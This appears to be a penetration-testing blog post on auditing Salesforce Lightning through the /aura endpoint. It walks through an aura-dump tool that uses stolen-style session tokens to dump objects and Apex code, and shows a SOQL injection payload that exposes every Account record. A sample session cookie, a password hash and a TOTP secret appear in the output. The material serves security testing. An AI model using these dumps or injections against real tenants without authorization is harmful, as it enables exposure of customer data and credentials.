Salesforce Penetration Testing Fundamentals

This blog walks you through using our script to audit a Salesforce environment, uncovering excessive permissions and platform-specific risks like SOQL injection.

Salesforce Penetration Testing Fundamentals
Dumping Salesforce Objects via the /aura Endpoint

Salesforce Lightning is ‘a cloud-based customer relationship management (CRM) software solution’, and primarily provides a platform for businesses to build their own application to manage customer relations and related data.

Practically, as a penetration tester performing a penetration test, the two main things you'll be looking for if you encounter Salesforce are:

  1. SaaS layer: Like most SaaS platforms, the primary risks stem from end-user misconfigurations - particularly access control issues.
  2. PaaS layer: Salesforce allows custom code (Apex) to run on the platform. If you can interact with this code, for example, via triggers, typical web application testing applies, including IDORs and Salesforce-specific vulnerabilities like SOQL injection.

As far as testing methodology goes, start by enumerating and inspecting any custom objects and fields accessible to your user or unauthenticated Guest. This often reveals sensitive data exposed via misconfigurations - more on this shortly.

Next, attempt to access and review any Apex classes available to the user. Analysing the source code can make it much easier t0 identify vulnerabilities.

To support this approach, we’ve adapted an existing tool to better align with this methodology.

GitHub - prjblk/aura-dump: Dumps Salesforce objects provided authentication credentials.
Dumps Salesforce objects provided authentication credentials. - prjblk/aura-dump

Identifying Salesforce Sites

Lightning sites generally end with the following:

  • *.force.com
  • *.secure.force.com
  • *.live.siteforce.com

You can also make a POST request to the following endpoints. A response that includes "actions":[, aura:clientOutOfSyncor aura:invalidSession will indicate the site is using Aura.

  • /s/sfsites/aura
  • /aura
  • /sfsites/aura
  • …/aura (Custom prefixes are possible)

Finally if you’re getting 100 POST requests to /aura every time you reload a page, it’s probably built on Lightning.

SaaS Layer - Broken Access Control Testing

When testing for broken access controls in Salesforce, it’s essential to understand the core data structures: Objects, Fields, and Records.

  • Objects - Comparable to database tables
  • Fields - Equivalent to table columns
  • Records - Represent individual rows in a table

Salesforce administrators use multiple layers of access control to restrict data visibility:

  • Object-Level Security (OLS) - Controls access to entire objects (i.e. whole tables)
  • Field-Level Security (FLS) - Restricts access to specific fields within an object (i.e. certain columns)
  • Record-Level Security (RLS) - Limits access to specific records (i.e. individual rows)

Building on this, Salesforce includes a range of built-in standard objects, but administrators can also create custom objects and custom fields to suit their organisation's needs.

Custom objects and fields are typically identified by the __c suffix - for example, a custom object might be named Secrets__c.

Common Misconfigurations

By far the most common misconfiguration we see is sensitive custom objects or fields that are hidden from the UI but still accessible programmatically.

Authenticating

By inspecting any POST /aura request in Burp, you'll find everything needed to authenticate our tool.

Specifically, extract the sid cookie, along with the aura.context and aura.token parameters. These values can be copied directly from Burp, no URL decoding required.

Using the example above, here's what it looks like being used together with our tool. Without any additional parameters, the tool will attempt to download a page of the User object.

python3 aura_dump.py -u https://orgfarm-f2ac53d407-dev-ed.develop.lightning.force.com/aura --cookie 'sid=00DgK000007MreL!AQEAQHYv6CVcKz4Hykwl7IPUnOn2kQbnGNhUdbwWg3xYkZIxJ0haUKjDexeedUTj9KtNLbOBYqgKLCfM921xNs90GVw3moIM;' -A '%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22eE5UbjZPdVlRT3M0d0xtOXc5MzVOQWg5TGxiTHU3MEQ5RnBMM0VzVXc1cmcxMi42MjkxNDU2LjE2Nzc3MjE2%22%2C%22app%22%3A%22one%3Aone%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fone%3Aone%22%3A%223834_UNpZUDgxaQC6D0NVE93GHA%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%22density%22%3A%22VIEW_ONE%22%2C%22appContextId%22%3A%2206mgK000004F10LQAS%22%7D%2C%22uad%22%3Atrue%7D' -T 'eyJub25jZSI6InQyVnNOSTgxWllmZWJrbGJCelZtLTRGb0tjSEtPQ244QUxTalJpbmlLd1VcdTAwM2QiLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IntcInRcIjpcIjAwRGdLMDAwMDAwMDAwMVwiLFwidlwiOlwiMDJHZ0swMDAwMDAwMDFkXCIsXCJhXCI6XCJjYWltYW5zaWduZXJcIn0iLCJjcml0IjpbImlhdCJdLCJpYXQiOjE3NTM5MTg0OTU2NTQsImV4cCI6MH0%3D..Bp3ExYOdvaucojeIJtn6XPPFY7HiE8QyYsG_IhPnVqA%3D'

[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] 1/1) Getting 'User' object (page 1)...
{
  "result": [
    {
      "record": {
        "LastModifiedDate": "2025-07-14T19:01:33.000Z",
        "Email": "noreply@00dgk000007mreluas",
        "FirstName": "Automated",
        "AboutMe": null,
        "StateCode": null,
        "Title": null,
        "PostalCode": null,
        "City": null,
        "Manager": null,
        "StateCode__l": null,
        "MobilePhone": null,
        "Name": "Automated Process",
        "SystemModstamp": "2025-07-14T19:10:53.000Z",
        "CompanyName": "EPIC OrgFarm",

Nice! It works.

💡
Occasionally you might come across applications that don't require authentication and are built on Salesforce. In this case you just need the aura.context. aura.token can be set as "null".

Dumping Custom Objects

To dump a page of all Custom Objects available to our user we can set the -d --object-type custom parameters.

python3 aura_dump.py -u https://orgfarm-blah.develop.lightning.force.com/aura --cookie 'sid=cookie;' -A 'aura.context' -T 'aura.token' -d --object-type custom
[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] Filtering objects by type: custom
[+] Found 1 objects to dump
[+] 1/1) Getting 'Secret__c' object (page 1)...

We've got access to one 'Secret' object!

By inspecting the output, these objects appear to expose sensitive data such as user password hashes and TOTP secrets.

cat https_orgfarm-f2ac53d407-dev-ed.develop.lightning.force.com_aura/Secret__c__page1.json
{
  "result": [
    {
      "record": {
        "LastModifiedDate": "2025-07-23T03:30:33.000Z",
        "LastModifiedBy": {
          "Id": "005gK0000055KrFQAU",
          "Name": "John Green",
          "sobjectType": "User"
        },
        "Owner": {
          "Id": "005gK0000055KrFQAU",
          "Name": "John Green",
          "sobjectType": "Name"
        },
        "CreatedBy": {
          "Id": "005gK0000055KrFQAU",
          "Name": "John Green",
          "sobjectType": "User"
        },
        "Name": "[email protected]",
        "Password_Hash__c": "fc5e038d38a57032085441e7fe7010b0",
        "SystemModstamp": "2025-07-23T03:30:33.000Z",
        "CreatedDate__f": "7/22/2025, 8:30 PM",
        "LastModifiedDate__f": "7/22/2025, 8:30 PM",
        "OwnerId": "005gK0000055KrFQAU",
        "CreatedById": "005gK0000055KrFQAU",
        "CreatedDate": "2025-07-23T03:30:33.000Z",
        "Id": "a00gK00000BQnoLQAT",
        "LastModifiedById": "005gK0000055KrFQAU",
        "TOTP_Secret__c": "JBSWY3DPEHPK3PXP",
        "sobjectType": "Secret__c"
      }
    },
    ---SNIP---
  ],
  "totalCount": 2
}

It might seem far-fetched, but we’ve encountered a real-world case where Salesforce was used as the user database for a custom-developed web portal. In that instance, password hashes were stored in Salesforce and used to authenticate users to the external application.

Dumping Standard Objects to Find Custom Fields

Finally, it's worth dumping all standard objects to identify any custom fields that may have been added.

By default there a lot of standard objects in Salesforce. Like most things, misconfigurations are more likely to be found in changes made by the organisation - i.e. any custom fields that were created.

python3 aura_dump.py -u https://orgfarm-blah.develop.lightning.force.com/aura --cookie 'sid=cookie;' -A 'aura.context' -T 'aura.token' -d --object-type standard --custom-fields

[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] Filtering objects by type: standard
[+] Found 1199 objects to dump
[+] 1/1199) Getting 'AIApplication' object (page 1)...
[+] 2/1199) Getting 'AIApplicationConfig' object (page 1)...
[+] 3/1199) Getting 'AIDataDefinition' object (page 1)...
[+] 4/1199) Getting 'AIError' object (page 1)...
[+] 5/1199) Getting 'AIFactorComponent' object (page 1)...
[+] 6/1199) Getting 'AIInsightAction' object (page 1)...

After waiting an eternity, the output looks like this.

cat https_orgfarm-blah.develop.lightning.force.com_aura/custom_fields_summary.txt
Custom Fields Summary
===================

Object: Account
Custom Fields:
  - Active__c
  - CustomerPriority__c
  - NumberofLocations__c
  - SLAExpirationDate__c
  - SLASerialNumber__c
  - SLA__c
  - UpsellOpportunity__c

Object: Asset
Custom Fields:
  - Confidential_Note__c

Object: Case
Custom Fields:
  - EngineeringReqNumber__c
  - PotentialLiability__c

cat https_orgfarm-blah.develop.lightning.force.com_aura/Asset__page1.json
{
  "result": [
    {
      "record": {
        "LastModifiedDate": "2025-07-23T03:33:24.000Z",
        ---SNIP---
        "CreatedDate": "2025-07-23T03:33:13.000Z",
        "UsageEndDate": null,
        "Confidential_Note__c": "This is a confidential note.",

Confidential_Note__c looks interesting.

PaaS Layer - Apex Code Inspection

As it turns out, Apex Class code is stored in retrievable objects as well. Practically as a penetration tester, this means you can perform source code audits to more easily identify and exploit vulnerable code.

Here’s a scenario to demonstrate the risk:

Our test user can create and view Account records - but only their own, due to a combination of sharing rules and object-level permissions. However, an Apex class in the environment is configured with without sharing, meaning it bypasses these restrictions and has access to all Account records.

Unfortunately, the class is also vulnerable to SOQL injection, which we can exploit to enumerate every Account in the tenant.

Using the --apex parameter we can dump Apex Classes that our user has permissions to view. The code is returns in the Body field.

python3 aura_dump.py  -u https://orgfarm-blah.develop.lightning.force.com/aura --cookie 'sid=cookie;' -A 'aura.context' -T 'aura.token' --apex
[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] 1/1) Getting 'ApexClass' object (page 1)...

# We have code!
cat https_orgfarm-blah.develop.lightning.force.com_aura/ApexClass__page1.json
{
  "result": [
    {
      "record": {
        "LastModifiedDate": "2025-08-06T23:42:45.000Z",
        "LastModifiedBy": {
          "Id": "005gK0000055KrFQAU",
          "Name": "John Green",
          "sobjectType": "User"
        },
        "CreatedBy": {
          "Id": "005gK0000055KrFQAU",
          "Name": "John Green",
          "sobjectType": "User"
        },
        "Name": "VulnerableAccountSearch",
        "SystemModstamp": "2025-08-06T23:42:45.000Z",
        "CreatedDate__f": "7/30/2025, 7:41 PM",
        "LastModifiedDate__f": "8/6/2025, 4:42 PM",
        "CreatedById": "005gK0000055KrFQAU",
        "CreatedDate": "2025-07-31T02:41:55.000Z",
        "Id": "01pgK0000045nU1QAI",
        "Body": "public without sharing class VulnerableAccountSearch {\n\n    @AuraEnabled\n    public static List<Account> search(String searchTerm) {\n        // ⚠️ Vulnerable: searchTerm directly injected into WHERE clause\n        String query = 'SELECT ' +\n            'Id, Name, Type, Industry, Rating, Phone, Fax, Website, AnnualRevenue, NumberOfEmployees, BillingAddress, ShippingAddress, Owner.Name ' +\n            'FROM Account ' +\n            'WHERE (OwnerId = \\'' + UserInfo.getUserId() + '\\' AND Name LIKE \\'%' + searchTerm + '%\\')';\n\n        System.debug('Executing query: ' + query);\n        return Database.query(query);\n    }\n}",
        "LastModifiedById": "005gK0000055KrFQAU",
        "NamespacePrefix": null,
        "sobjectType": "ApexClass"
      }
    }
  ],
  "totalCount": 1
}

This vulnerable class is configured with without sharing (default) which means it ignores sharing rules configured in Salesforce and effectively as full access to data.

Additionally user input is passed directly into a SOQL query.

Browsing around in the UI we can see that our user only has access to one account.

Using our search no results are returned if we search for "Edge".

However by exploiting SOQL injection we can retrieve all records in the tenant.

Here's what the query looks like with our payload inserted.

# Vulnerable query
SELECT Id, Name, Type, Industry, Rating, ... FROM Account WHERE (OwnerId = UserInfo.getUserId() AND Name LIKE '%searchTerm%')

# Our query becomes
SELECT Id, Name, Type, Industry, Rating, ... FROM Account WHERE (OwnerId = UserInfo.getUserId() AND Name LIKE '%test%') OR (Name LIKE '%')

Conclusion

Hopefully this article has helped clarify some of the fundamentals involved in assessing a Salesforce tenant when you encounter one.

I've included some additional references below where you can read more about what we're doing in more detail.

References

Salesforce Developers
Salesforce Developer Website

Salesforce Documentation about Vulnerable Apex Code

Pen-Testing Salesforce Apps: Part 1 (Concepts)
in simple words: For Pen-Testers and Security Researchers
GitHub - moniik/poc_salesforce_lightning: Academic purposes only. Attack against Salesforce lightning with guest privilege.
Academic purposes only. Attack against Salesforce lightning with guest privilege. - moniik/poc_salesforce_lightning